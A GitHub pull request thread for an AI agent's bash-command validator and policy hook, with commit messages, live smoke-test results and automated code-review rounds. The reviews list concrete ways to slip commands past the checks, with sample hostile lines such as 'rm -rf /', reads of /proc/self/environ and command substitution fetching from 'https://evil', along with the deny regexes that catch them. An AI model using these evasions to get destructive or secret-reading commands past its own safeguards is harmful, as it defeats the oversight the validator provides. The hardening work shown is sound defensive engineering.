Gated on `ANTHROPIC_API_KEY` / `OPENAI_API_KEY` β€” not part of jest.
@danny-avila danny-avila force-pushed the claude/dreamy-kapitsa-06a93d branch from 6fd7298 to 1132808 Compare May 14, 2026 14:40
Adds `runMultiTurnStressScenario` to the live smoke script β€” one
`AgentSession`, six `.run()` calls, mixed allow / policy-deny /
hard-floor / default-deny / recovery pattern. Six turns produce 24
accumulated JSONL messages on the active branch, confirming:

- Hook registry re-fires per turn (no stale state across runs)
- Static validator + bashAst pass re-runs per call
- Agent recovers after denials and the next allowlist hit still
  flows through normally (turn 6 echo RECOVERY_OK after four
  consecutive deny/floor outcomes)
- JSONL accumulates monotonically β€” final active-message path
  contains 24 entries

Behavioral truth confirmed by the run: when both layers WOULD block
the same command, the PreToolUse hook fires first (the floor lives
in the tool body and only runs after the hook permits). Turn 4 puts
`cat:*` on the allow-list specifically so the policy permits
`cat /proc/self/environ` and the hard floor catches it β€” proves
defense-in-depth still fires when the host's policy lets a
floor-trigger through.

Live run (gpt-4.1-mini, OpenAI):
  [PASS] turn 1 (allowlist exact)       β†’ echo TURN_1_OK
  [PASS] turn 2 (allowlist prefix)      β†’ ls -la
  [PASS] turn 3 (policy deny rm:*)      β†’ policy hook reason surfaces
  [PASS] turn 4 (hard floor /proc/..)   β†’ [bashAst:proc-environ-read]
  [PASS] turn 5 (default deny)          β†’ policy default fires
  [PASS] turn 6 (recovery after denies) β†’ echo RECOVERY_OK
  [PASS] JSONL accumulation             β†’ 24 entries across 6 turns
  [PASS] active-message path            β†’ 24 messages
The prior live script only used `.run()` and `.getSessionStore()` β€”
a thin slice of the AgentSession DX added in #164. Adds three
scenarios that meaningfully cross-test both areas:

- `runStreamScenario` β€” drives a bash call through `session.stream()`
  + `.toTextStream()` + `.finalResult()`. Asserts the tool output
  marker reaches the JSONL store AND the text stream produced chunks.
  Confirms the streaming code path through `Run` (different from
  `.run()`) keeps bash validation intact.

- `runForkScenario` β€” runs `echo BASE_TURN_A`, captures the first
  fork point, runs `echo BASE_TURN_B`, then `.fork(forkPoint, {
  position: 'before' })` to a new branch. Runs `echo FORK_BRANCH_OK`
  on the fork. Asserts: fork has its own JSONL path, fork's
  active-message text does NOT contain `BASE_TURN_B`, and bash
  validation runs on the forked session too.

- `runResumeScenario` β€” runs `echo PRE_RESUME_OK` on a session
  backed by a JSONL path, then spawns a fresh ephemeral session and
  calls `.resumeSession(path)`. Replays the messages, then runs
  `echo POST_RESUME_OK` AND a `rm` (which the resumed-session's
  hook should still deny). Asserts: replay restored the original
  message count, the post-resume turn ran, AND the deny rule fired
  on the resumed session β€” proving PreToolUse hooks re-attach
  correctly across the resume boundary.

Live run (gpt-4.1-mini):
  [PASS] stream() pipe with bash validation
  [PASS] fork() with bash validation isolates branches
  [PASS] resumeSession() + bash validation
    β†’ pre=4 β†’ post=12 messages, deny rule still fires

Combined with the existing three single-turn + multi-turn scenarios,
the script now exercises: `createAgentSession`, `.run`, `.stream`,
`.toTextStream`, `.finalResult`, `.fork`, `.resumeSession`,
`.getSessionStore`, store `.getEntries / .getMessages /
.getForkPoints / .path`. Not yet exercised (lower priority for the
bash-validation cross-test): `.clone`, `.branch`, `.compact`,
`.getLatestCheckpoint`, checkpointing.
Two more scenarios covering the higher-interaction parts of the
AgentSession DX from #164:

- `runCompactScenario` β€” runs 2 safe bash calls + 1 denied call,
  then `session.compact({ retainRecentTurns: 0 })` collapses
  everything into a system summary. After compact: a safe `echo
  POST_COMPACT_OK` runs, and `rm -rf /tmp/x` is still denied by
  the policy hook. Confirms compaction doesn't drop the hook
  registry or confuse the static validator (which runs on the new
  `command`, not on prior summary text).

- `runBranchScenario` β€” runs `echo BASE_TURN_BEFORE_BRANCH`, then
  `echo BASE_TURN_LATER`, then `session.branch(forkPoint,
  { position: 'before', summarizeAbandoned })` switches to an
  alternate branch in-place. Confirms: bash validation still fires
  on the new branch (`echo ALT_BRANCH_OK` succeeds, `rm` is still
  denied), abandoned-branch text doesn't leak into the active path,
  and the summarizeAbandoned compaction entry is recorded.

Live run (gpt-4.1-mini, OpenAI):
  [PASS] compact() preserves validator + hook
    β†’ compacted 12β†’1 msgs; post-compact safe ran + deny fired
  [PASS] branch() preserves validator + hook on alternate path
    β†’ 9 messages on active branch; deny rule still fires

The script now exercises every interaction-heavy method on
AgentSession: run, stream, fork, branch, compact, resumeSession,
plus the JSONL store accessors. `.clone()` and `.getLatestCheckpoint()`
remain unexercised β€” both are simpler (clone duplicates a store;
getLatestCheckpoint is a read-only accessor). Total: 13 scenarios.
Closes the remaining gaps in #164 DX coverage from the bash-policy
live script. Three new scenarios:

- `runCheckpointingScenario` β€” `checkpointing: true` plus three
  bash turns (allow / deny / allow). After each turn,
  `getLatestCheckpoint()` returns the session's threadId; the
  JSONL accumulates β‰₯3 checkpoint entries; the checkpointId
  advances (proves it's not stuck on initial state). Confirms a
  policy denial in the middle doesn't break checkpoint
  advancement.

- `runMultiAgentScenario` β€” direct edge `A β†’ B`. Both agents
  share the run-level `toolExecution: 'local'` (auto-binds the
  bash tool to each) and the same `HookRegistry`. Each agent is
  instructed to call `bash_tool` with its own marker; both must
  show up in tool messages. Confirms hooks are per-Run (not
  per-agent), so the policy gates ALL agents in a multi-agent
  graph, not just the first.

- `runSubagentScenario` β€” supervisor delegates via
  `subagentConfigs` to a child agent. Both have access to
  `bash_tool`. Supervisor produces `SUBAGENT_PARENT_OK`; child
  produces `SUBAGENT_CHILD_OK` via its own bash call. Confirms
  bash validation reaches the subagent's nested Run scope (a
  security-critical guarantee β€” if hooks didn't propagate, a
  denied command could slip through inside a subagent).

Live run (gpt-4.1-mini, OpenAI):
  [PASS] checkpointing: true advances per bash turn
    β†’ 3 JSONL checkpoint entries; latest=1f14fa72-…
  [PASS] multi-agent direct edge with bash validation
    β†’ agents A+B each ran echo through bash_tool; 4 AI turns
  [PASS] subagent delegates bash through validator + hook
    β†’ child ran echo; supervisor summarized

Total 16 scenarios. Remaining unexercised: `.clone()` (trivial
duplicate-of-fork mechanics) β€” keeping it off the script.
@danny-avila

Copy link
Copy Markdown
Owner Author

@codex review

@chatgpt-codex-connector chatgpt-codex-connector Bot left a comment

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

πŸ’‘ Codex Review

Here are some automated review suggestions for this pull request.

Reviewed commit: 2c2210e66c

ℹ️ About Codex in GitHub

Your team has set up Codex to review pull requests in this repo. Reviews are triggered when you

  • Open a pull request for review
  • Mark a draft as ready
  • Comment "@codex review".

If Codex has suggestions, it will comment; otherwise it will react with πŸ‘.

Codex can also answer questions or update the PR. Try commenting "@codex address that feedback".

Comment thread src/tools/local/bashValidation.ts Outdated
Comment on lines +447 to +450
const effectiveCommand =
args != null && args.length > 0
? `${stripped} ${args.join(' ')}`
: stripped;

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

P1 Badge Parse positional args before hard-floor AST deny checks

The hard-floor exfiltration check can be bypassed by splitting a forbidden path across positional args, because it appends args with spaces (args.join(' ')) before running runBashAstChecks. For example, command: 'cat "$1$2"' with args: ['/proc/self', '/environ'] executes a read of /proc/self/environ, but the validator only scans ... /proc/self /environ and misses the deny pattern. This weakens the new always-on remote /exec protection specifically for the positional-arg path-smuggling case the change is trying to block.

Useful? React with πŸ‘Β / πŸ‘Ž.

Copy link
Copy Markdown
Owner Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Fixed in 9ed8614. Hard-floor AST scan now runs against BOTH args.join(' ') AND args.join(''), with finding-code dedup. So command: 'cat "$1$2"', args: ['/proc/self', '/environ'] reassembles to /proc/self/environ in the raw-joined candidate and the deny regex matches. Regression test blocks /proc/<pid>/environ split across positional args (Codex P1 round-9) covers slash-boundary, mid-word, and three-way splits.

The hard-floor AST scan joined positional args with `' '` (spaces),
so a path split across args was not visible to the deny regex even
though bash concatenates them at runtime. Concrete bypass:

  command: 'cat "$1$2"',
  args:    ['/proc/self', '/environ']

Bash expands `$1$2` to `/proc/self/environ` and reads the sandbox
env vars. The pre-fix scan saw `... /proc/self /environ` (space
between) and the `/proc/<pid>/environ` deny regex missed.

Fix: build candidate scan inputs for BOTH `args.join(' ')` AND
`args.join('')` and run `runBashAstChecks` against each, deduping
finding codes via a Set. The raw-joined form reassembles paths
split across any number of args (slash boundary, mid-word boundary,
three-way splits β€” all covered by the new regression test).

False-positive note: legitimate `cat "$1" "$2"` + `args:
['/proc/self', '/environ']` would now also trip the floor. Documented
as an acceptable tradeoff β€” the deny patterns are narrow, such
workloads are unusual, and refusing is cheaper than the real exfil
shape slipping through.

Tests: `blocks /proc/<pid>/environ split across positional args
(Codex P1 round-9)` covers three split shapes (slash boundary,
mid-word, three-way). All 57 hooks+validation tests pass.
@danny-avila

Copy link
Copy Markdown
Owner Author

@codex review

@chatgpt-codex-connector chatgpt-codex-connector Bot left a comment

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

πŸ’‘ Codex Review

Here are some automated review suggestions for this pull request.

Reviewed commit: 9ed861494c

ℹ️ About Codex in GitHub

Your team has set up Codex to review pull requests in this repo. Reviews are triggered when you

  • Open a pull request for review
  • Mark a draft as ready
  • Comment "@codex review".

If Codex has suggestions, it will comment; otherwise it will react with πŸ‘.

Codex can also answer questions or update the PR. Try commenting "@codex address that feedback".

Comment thread src/tools/local/bashValidation.ts Outdated
Comment on lines +235 to +239
if (char === '#') {
while (i < command.length && command[i] !== '\n') {
output += ' ';
i++;
}

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

P1 Badge Preserve mid-word # during quote stripping

stripQuotedContent treats every unquoted # as the start of a comment, but in bash # only starts a comment at a word boundary. This lets destructive commands evade matchAnyDestructive when they are placed after a mid-word hash, e.g. echo foo#bar; rm -rf /: the rm segment is stripped before regex validation, so the new hard-floor path in BashExecutor can allow a command it is meant to block.

Useful? React with πŸ‘Β / πŸ‘Ž.

Copy link
Copy Markdown
Owner Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Fixed in 3865687. stripQuotedContent now uses the same word-boundary check + ${…} depth tracking we added to stripComments in round 5. Mid-word # (foo#bar) is literal text, and the comment-strip only fires at word boundaries. Extracted a shared isCommentBoundary helper. Regression test blocks destructive commands hidden after a mid-word # covers echo foo#bar; rm -rf / and echo ${x#1}; rm -rf /.

Comment on lines +195 to +196
if (char === '$' && i + 1 < command.length && command[i + 1] === '(') {
return true;

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

P2 Badge Exclude arithmetic expansion from separator detection

containsShellSeparator flags any $( as command substitution, which also matches arithmetic expansion ($((...))). As a result, allow/ask exact or prefix rules (for example git:* under default: 'deny') incorrectly reject benign commands like git commit -m "$((1+1))", because they are treated as containing a forbidden separator even though no command substitution occurs.

Useful? React with πŸ‘Β / πŸ‘Ž.

Copy link
Copy Markdown
Owner Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Fixed in 3865687. containsShellSeparator now peeks for a second ( after $( and treats $((expr)) as arithmetic (no command runs). Plain $( still returns true. Regression test prefix match: arithmetic $((expr)) is NOT treated as command substitution confirms git commit -m "$((1+1))" is allowed while git commit -m "$(date)" still denies.

…d 10)

Two unrelated findings:

- `stripQuotedContent` had the same mid-word `#` bug we fixed in
  `stripComments` round 5. `echo foo#bar; rm -rf /` blanked the
  trailing destructive command before the regex pass, hiding it
  from `matchAnyDestructive`. Bash treats `#` as a comment marker
  only at word boundaries β€” `foo#bar` is one word and the `#` is
  literal. Same fix shape: word-boundary check + `${…}` parameter-
  expansion depth tracking. Extracted a shared `isCommentBoundary`
  helper so the two stripping functions share the rule. (Codex P1)

- `containsShellSeparator` flagged any `$(` as command substitution,
  including arithmetic `$((expr))` β€” bash evaluates arithmetic as an
  integer expression, no commands run. Pre-fix, allowlist rules
  like `git:*` under `default: 'deny'` rejected benign uses like
  `git commit -m "$((1+1))"`. Peek for the second `(` to distinguish
  arithmetic from substitution; arithmetic continues the scan, plain
  `$(` returns true. (Codex P2)

Tests: `blocks destructive commands hidden after a mid-word #` and
`prefix match: arithmetic $((expr)) is NOT treated as command
substitution`. 59/59 in the touched suites.
@danny-avila

Copy link
Copy Markdown
Owner Author

@codex review

@chatgpt-codex-connector chatgpt-codex-connector Bot left a comment

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

πŸ’‘ Codex Review

Here are some automated review suggestions for this pull request.

Reviewed commit: 386568753c

ℹ️ About Codex in GitHub

Your team has set up Codex to review pull requests in this repo. Reviews are triggered when you

  • Open a pull request for review
  • Mark a draft as ready
  • Comment "@codex review".

If Codex has suggestions, it will comment; otherwise it will react with πŸ‘.

Codex can also answer questions or update the PR. Try commenting "@codex address that feedback".

Comment on lines +244 to +248
if (char === '\\') {
escaped = true;
append(' ');
setPrev(char);
continue;

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

P1 Badge Treat backslashes as literals inside single-quoted text

stripQuotedContent handles \\ before it checks whether the parser is currently inside single quotes, but in bash a backslash is literal inside '...' and does not escape the closing quote. With input like echo 'abc\\'; rm -rf /, this scanner keeps the single-quoted span open, blanks out ; rm -rf /, and matchAnyDestructive fails to detect the destructive tail. Because both validateBashCommandStatic and validateBashCommandHardFloor depend on this normalization, the new remote hard-floor can be bypassed and dangerous commands can still be posted to /exec.

Useful? React with πŸ‘Β / πŸ‘Ž.

Copy link
Copy Markdown
Owner Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Fixed in 78f1a7b. Both stripQuotedContent and stripComments now handle single-quote state BEFORE the escape branch β€” inside '...' backslash is literal, only the closing ' closes the span. Same fix shape as the round-6 containsShellSeparator fix. echo 'abc\'; rm -rf / now correctly closes the quote and the destructive tail is visible to matchAnyDestructive. Regression test: blocks destructive tail when single-quote span contains a backslash (Codex P1 round-11). Also fixed stripComments preemptively (same code shape, different observable effect).

… 11)

Same bug class Codex flagged in round 6 for `containsShellSeparator`,
but in the comment/quote strippers. Both `stripQuotedContent` and
`stripComments` ran the `\` escape branch BEFORE checking whether
the parser was inside single quotes. In bash, backslash is literal
inside `'...'` β€” it does NOT escape anything, including the closing
`'`. So `'abc\'` actually closes the single quote at the `'` after
the literal backslash.

Concrete bypass on the destructive-pattern path:

  echo 'abc\'; rm -rf /

Pre-fix: scanner kept the quote span "open" forever, blanked
everything from the `\` through end-of-input, including the
trailing `; rm -rf /`. `matchAnyDestructive` ran on the blanked
form, missed the destructive command, and the hard floor allowed
the call through.

Fix in both `stripQuotedContent` and `stripComments`: handle the
single-quote state BEFORE the escape branch. Inside single quotes
nothing escapes, only the closing `'` matters. Mirrors the round-6
fix shape for `containsShellSeparator`.

Tests: `blocks destructive tail when single-quote span contains a
backslash` covers the canonical bypass + a benign sanity case.
@danny-avila

Copy link
Copy Markdown
Owner Author

@codex review

@chatgpt-codex-connector chatgpt-codex-connector Bot left a comment

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

πŸ’‘ Codex Review

Here are some automated review suggestions for this pull request.

Reviewed commit: 78f1a7b88b

ℹ️ About Codex in GitHub

Your team has set up Codex to review pull requests in this repo. Reviews are triggered when you

  • Open a pull request for review
  • Mark a draft as ready
  • Comment "@codex review".

If Codex has suggestions, it will comment; otherwise it will react with πŸ‘.

Codex can also answer questions or update the PR. Try commenting "@codex address that feedback".

Comment thread src/tools/local/bashValidation.ts Outdated

const dangerousCommandPatterns: ReadonlyArray<RegExp> = [
new RegExp(
`\\brm\\s+(?:-[^\\s]*[rf][^\\s]*\\s+|-[^\\s]*[r][^\\s]*\\s+-[^\\s]*[f][^\\s]*\\s+)(?:--\\s+)?${DESTRUCTIVE_TARGET}\\s*(?:$|[;&|])`

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

P1 Badge Treat newline as a destructive-command separator

The rm -rf guard only accepts end-of-string or [;&|] after the protected target, so a newline-delimited form like rm -rf /\ncurl ... is not matched and passes validation even though bash executes the destructive command before the next line. This weakens both validateBashCommandStatic and the remote hard floor, which are expected to reject protected-root deletes regardless of command chaining style.

Useful? React with πŸ‘Β / πŸ‘Ž.

Copy link
Copy Markdown
Owner Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Fixed in 29cf808. rm -rf regex terminator changed from \s*(?:$|[;&|]) to (?:$|\s|[;&|]) β€” same shape the chmod/chown patterns already use. Newline is now a valid terminator, so rm -rf /\ncurl evil is blocked. Regression test blocks rm -rf followed by a newline covers \n, \r, and rm -rf $HOME\n....

Comment on lines +555 to +557
for (const candidate of candidates) {
const findings = runBashAstChecks(candidate, 'auto');
for (const finding of findings) {

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

P1 Badge Harden hard-floor deny checks for expanded proc/source forms

The hard floor delegates /proc/.../environ and source blocking to runBashAstChecks(candidate, 'auto'), but those deny regexes only match narrow forms (e.g. $VAR) and miss common equivalents like /proc/$$/environ, /proc/${pid}/environ, and source ${SCRIPT}. As a result, commands that still read process environment or source from variable expansion can bypass the always-on remote validator.

Useful? React with πŸ‘Β / πŸ‘Ž.

Copy link
Copy Markdown
Owner Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Fixed in 29cf808. Broadened both regexes: PROC_ENVIRON_RX is now /\/proc\/[^/\s'\"]+\/environ\b/ β€” any non-slash non-whitespace non-quote sequence between /proc/ and /environ. Catches $$, ${pid}, $!, $VAR, self, <numeric>. SOURCE_FROM_VAR_RX is now /(?:^|\s)(?:source|\.)\s+[\"']?\$/ β€” any source $... form. Two regression tests cover the new shapes plus sanity-checks for existing forms.

Two P1 findings, both broaden coverage of existing checks:

- `rm -rf` regex terminator was `\s*(?:$|[;&|])`. The `\s*` greedily
  consumes the trailing newline, then the alternation requires
  `$` / `;` / `&` / `|` β€” `\n` is missing from the terminator set.
  So `rm -rf /\ncurl evil` slipped past because bash treats `\n` as
  a command separator equivalent to `;`. Switched terminator to
  `(?:$|\s|[;&|])` β€” same shape the chmod/chown patterns already
  use. (Codex P1)

- `PROC_ENVIRON_RX` only matched `\d+|self|\$[A-Za-z_]` between
  `/proc/` and `/environ`, missing the most common pid form `$$`
  (current PID), as well as `${pid}` (curly param expansion) and
  `$!` (last bg PID). Broadened to `[^/\s'"]+` β€” any non-slash
  non-whitespace non-quote sequence β€” so any process identifier
  shape is caught. (Codex P1)

- `SOURCE_FROM_VAR_RX` only matched `\$[A-Za-z_]`, missing
  `${VAR}` and other expansion forms. Broadened to match any
  `source $...` / `. $...` where the next token starts with `$`.

Three regression tests cover:
- `rm -rf /\ncurl ...`, `\r`, `rm -rf $HOME\n...`
- `cat /proc/$$/environ`, `/proc/${pid}/environ`, `/proc/$!/environ`
  + sanity-checks for existing forms
- `source ${SCRIPT}`, `source "${REMOTE}"`, `. ${SETUP}`

63/63 in the touched suites.
@danny-avila

Copy link
Copy Markdown
Owner Author

@codex review

@chatgpt-codex-connector chatgpt-codex-connector Bot left a comment

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

πŸ’‘ Codex Review

Here are some automated review suggestions for this pull request.

Reviewed commit: 29cf808863

ℹ️ About Codex in GitHub

Your team has set up Codex to review pull requests in this repo. Reviews are triggered when you

  • Open a pull request for review
  • Mark a draft as ready
  • Comment "@codex review".

If Codex has suggestions, it will comment; otherwise it will react with πŸ‘.

Codex can also answer questions or update the PR. Try commenting "@codex address that feedback".

Comment thread src/tools/local/bashAst.ts Outdated
// (positional args). Pre-fix only `\d+|self|\$[A-Za-z_]` matched, so
// the common `/proc/$$/environ` and `/proc/${pid}/environ` forms
// slipped through. (Codex P1 round-12)
const PROC_ENVIRON_RX = /\/proc\/[^/\s'"]+\/environ\b/;

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

P1 Badge Detect /proc environ reads through quoted PID segments

The hard-floor exfiltration guard can be bypassed by inserting quotes inside the /proc/<pid>/environ path (for example, cat /proc/"self"/environ), which Bash resolves to the same file at runtime. PROC_ENVIRON_RX only matches a single unquoted token between /proc/ and /environ, so quoted-segment variants are not flagged and the command reaches remote execution despite the intended always-on block.

Useful? React with πŸ‘Β / πŸ‘Ž.

Copy link
Copy Markdown
Owner Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Fixed in 12539d2. Dropped the '" chars from PROC_ENVIRON_RX's negated class so the regex is now /\/proc\/[^/\s]+\/environ\b/. Quoted segments like /proc/\"self\"/environ and /proc/'1'/environ (which bash resolves to the same path) are now caught. Regression test blocks /proc/<pid>/environ with quoted segments.

Comment on lines +201 to +203
if (i + 2 < command.length && command[i + 2] === '(') {
continue;
}

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

P2 Badge Skip full arithmetic expansion when scanning separators

The separator scanner treats $((...)) as non-substitution but does not advance past the arithmetic body, so inner arithmetic operators like < or > are later misclassified as shell separators. As a result, allowlist rules (exact or :* prefixes) incorrectly deny benign commands such as echo $((1<2)) or git log -n $((a>b)) under default: 'deny' policies.

Useful? React with πŸ‘Β / πŸ‘Ž.

Copy link
Copy Markdown
Owner Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Fixed in 12539d2. containsShellSeparator now walks paren depth past the entire $((…)) body when arithmetic is detected β€” inner </> operators are no longer seen by the separator loop. Nested parens ($((1*(2+3)))) are tracked. Regression test prefix match: arithmetic $((expr)) skips inner operators covers 1<2, a>b, nested arithmetic, plus a sanity case for bare < outside arithmetic.

Two more incremental coverage extensions:

- `PROC_ENVIRON_RX`'s round-12 broadening still excluded quote chars
  from the segment class (`[^/\s'"]+`). Bash resolves quoted tokens
  at runtime, so `/proc/"self"/environ` and `/proc/'1'/environ` are
  the same file as `/proc/self/environ` β€” but our regex didn't see
  them. Dropped the quote-char exclusion. (Codex P1)

- `containsShellSeparator` arithmetic detection (round-10) only
  `continue`d on `$((` without advancing past the body. So inner
  arithmetic operators (`<`, `>`) inside expressions like
  `$((a>b))` still got treated as shell separators / redirection
  by the rest of the loop, denying benign commands like
  `git log -n $((a>b))` under allowlist policies. Now we walk
  paren depth to skip the entire `$((…))` body. Nested parens
  inside arithmetic (`$((1*(2+3)))`) are tracked correctly. (Codex P2)

Tests:
- `blocks /proc/<pid>/environ with quoted segments` covers `"self"`,
  `'self'`, `"1"` β€” all bash-equivalent to the unquoted form.
- `prefix match: arithmetic $((expr)) skips inner operators` covers
  `1<2`, `a>b`, nested `1*(2+3)`, plus a sanity case that bare `<`
  outside arithmetic is still detected.

65/65 in the touched suites.
@danny-avila

Copy link
Copy Markdown
Owner Author

@codex review

@chatgpt-codex-connector chatgpt-codex-connector Bot left a comment

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

πŸ’‘ Codex Review

Here are some automated review suggestions for this pull request.

Reviewed commit: 12539d20e1

ℹ️ About Codex in GitHub

Your team has set up Codex to review pull requests in this repo. Reviews are triggered when you

  • Open a pull request for review
  • Mark a draft as ready
  • Comment "@codex review".

If Codex has suggestions, it will comment; otherwise it will react with πŸ‘.

Codex can also answer questions or update the PR. Try commenting "@codex address that feedback".

Comment thread src/hooks/createBashPolicyHook.ts Outdated
Comment on lines +201 to +205
if (i + 2 < command.length && command[i + 2] === '(') {
// Skip the entire `$((…))` body so inner arithmetic operators
// (`<`, `>`, etc.) aren't misclassified as shell separators
// by the rest of the loop. Track paren depth (start at 2 for
// the two opening parens; decrement on `)`, increment on

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

P1 Badge Detect command substitution inside arithmetic expansions

The $((...)) fast-path in containsShellSeparator skips the full arithmetic body, so nested substitutions are never inspected. In Bash, arithmetic expansion still performs command substitution (the manual states tokens in the expression undergo command substitution), so inputs like git status $(( $(curl https://evil) + 1 )) or backtick variants can execute extra commands while still matching an allowlist rule such as git:* under default: 'deny'. This turns the policy hook into a bypass for exactly the chained-command behavior it is meant to block.

Useful? React with πŸ‘Β / πŸ‘Ž.

Copy link
Copy Markdown
Owner Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Fixed in 8988154. containsShellSeparator now walks the $((…)) body explicitly while tracking paren depth; $( (single paren) or backticks inside arithmetic short-circuit to deny. Nested $(( deepens the paren stack by 2 (not a bypass). Regression test prefix match: command substitution INSIDE $((expr)) is still detected covers both forms + a sanity case for nested arithmetic without cmd subst.

Bash performs command substitution inside `$((expr))` before
evaluating the integer expression. The round-13 fix walked past
the arithmetic body wholesale to dodge inner `<`/`>` operators
that look like shell separators β€” but that also hid inner `$(…)`
and backticks from inspection. `git status $(( $(curl evil) + 1 ))`
runs curl regardless of the arithmetic wrap.

Fix: walk the `$((…))` body explicitly, tracking paren depth, and
check each char for cmd-subst markers. Nested `$((` deepens the
paren stack by 2 (not a bypass); `$(` (single paren) inside
arithmetic is real cmd subst and returns true. Backticks inside
arithmetic also return true.

Tests: `prefix match: command substitution INSIDE $((expr)) is
still detected` covers `$(( $(curl evil) + 1 ))`, backtick form,
and a sanity case for legitimate nested arithmetic
`$(( $((1+2)) * 3 ))`.
After a false-positive audit of the hard floor, the
`source-from-variable` deny rule was the worst offender: it caught
legitimate dev-env init patterns that a code-execution agent
routinely runs to set up its environment β€”

  source \$HOME/.bashrc
  source \$VIRTUAL_ENV/bin/activate
  source \$NVM_DIR/nvm.sh
  source \$(brew --prefix)/share/...

The original threat ("sourcing from an attacker-controlled unbound
variable") only applies if the agent doesn't control the command.
In a sandboxed code-exec context the agent itself builds the
command β€” that's not the bypass shape we're guarding against.

Demoted from `deny` to `warn` (default) / `deny` (strict):
- Hard floor (always-on) now allows `source \$VAR` shapes.
- `validation: 'strict'` still escalates it to deny.

Other always-on floor patterns (rm -rf protected roots, mkfs/dd
disk-tampering, fork bombs, /proc/<pid>/environ, zsh privileged
builtins, positional-arg protected target) keep their `deny`
severity β€” those have near-zero FP risk in realistic workloads.

Tests updated: `does NOT block source-from-variable in the hard
floor` (replaces the round-12 deny assertion); new strict-mode
escalation test confirms `bashAst: 'strict'` still rejects it.
@danny-avila

Copy link
Copy Markdown
Owner Author

@codex review

@chatgpt-codex-connector chatgpt-codex-connector Bot left a comment

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

πŸ’‘ Codex Review

Here are some automated review suggestions for this pull request.

Reviewed commit: bb304e623c

ℹ️ About Codex in GitHub

Your team has set up Codex to review pull requests in this repo. Reviews are triggered when you

  • Open a pull request for review
  • Mark a draft as ready
  • Comment "@codex review".

If Codex has suggestions, it will comment; otherwise it will react with πŸ‘.

Codex can also answer questions or update the PR. Try commenting "@codex address that feedback".

// would let bash run the trailing command unauthorized
// (Codex P1 round-2). Hosts that want to allow chains must
// write rules for each segment, or use exact-match patterns.
if (containsShellSeparator(command)) return false;

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

P1 Badge Let deny patterns match chained shell commands

The :* matcher unconditionally returns false when containsShellSeparator(command) is true, which means deny rules are bypassed for chained input. For example, with { deny: ['rm:*'] } (and default allow), rm -rf /tmp && curl ... will not match deny and falls through to allow. The separator guard is useful for allow-rules, but applying it to deny/ask matchers removes policy coverage exactly where users expect strongest blocking.

Useful? React with πŸ‘Β / πŸ‘Ž.


const bashAstMode = config.bashAst ?? 'off';
if (bashAstMode !== 'off' && config.allowDangerousCommands !== true) {
const findings = runBashAstChecks(normalized, bashAstMode);

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

P2 Badge Evaluate strict bashAst checks on unstripped command text

In strict mode, runBashAstChecks runs on normalized, but normalized is produced by stripQuotedContent, which blanks out double-quoted segments. As a result, command substitution inside double quotes (for example, echo "$(curl ...)") is not detected by strict validation even though Bash still executes it. This weakens the newly added remote validation: 'strict' guarantee by allowing a class of substitutions the mode is intended to block.

Useful? React with πŸ‘Β / πŸ‘Ž.

43 tests covering legitimate workloads that MUST NOT trip the
regex floor. Every codex-iteration round through this PR closed a
real bypass; this suite is the inverse β€” it locks in that we
didn't over-tighten and break real users.

Coverage spans common agent-loop patterns:

- Git workflows (status/add/commit/push/branch/checkout/merge/
  rebase/stash/reset/clean)
- Package managers (npm/yarn/pnpm/pip/uv/poetry)
- Build tools (cargo/go/make)
- Docker / kubectl
- Test runners (jest/vitest/mocha/pytest/go test/cargo test)
- File/text utilities (ls/cat/head/tail/grep/find/sed/awk/sort/
  uniq/wc/cut/tr)
- Network tools (curl/wget) with normal URLs
- Shell setup (`source $HOME/.bashrc`, `source $VIRTUAL_ENV/bin/
  activate`, `. ${SCRIPT_DIR}/setup.sh`, etc. β€” the Codex FP-audit
  case that triggered demoting `source-from-variable` to warn)
- Process/system inspection (ps/top/kill/df/du/free/lsblk + non-
  environ /proc reads)
- Bash language features (`${var#prefix}` parameter expansion,
  `$((arithmetic))`, mid-word `#`, backslash inside single quotes,
  legitimate command substitution like `echo "Today is $(date)"`)
- rm/chmod/chown against non-protected paths
- Print/echo of destructive-looking strings (tutorials, warnings,
  documentation)
- Shell comments mentioning deny patterns
- Multi-line scripts (shebang, conditionals, loops, functions)
- Positional args containing safe paths or flags

Plus a "KNOWN-accepted false positives" section that documents the
two cases the regex floor still rejects (defense-in-depth trade):

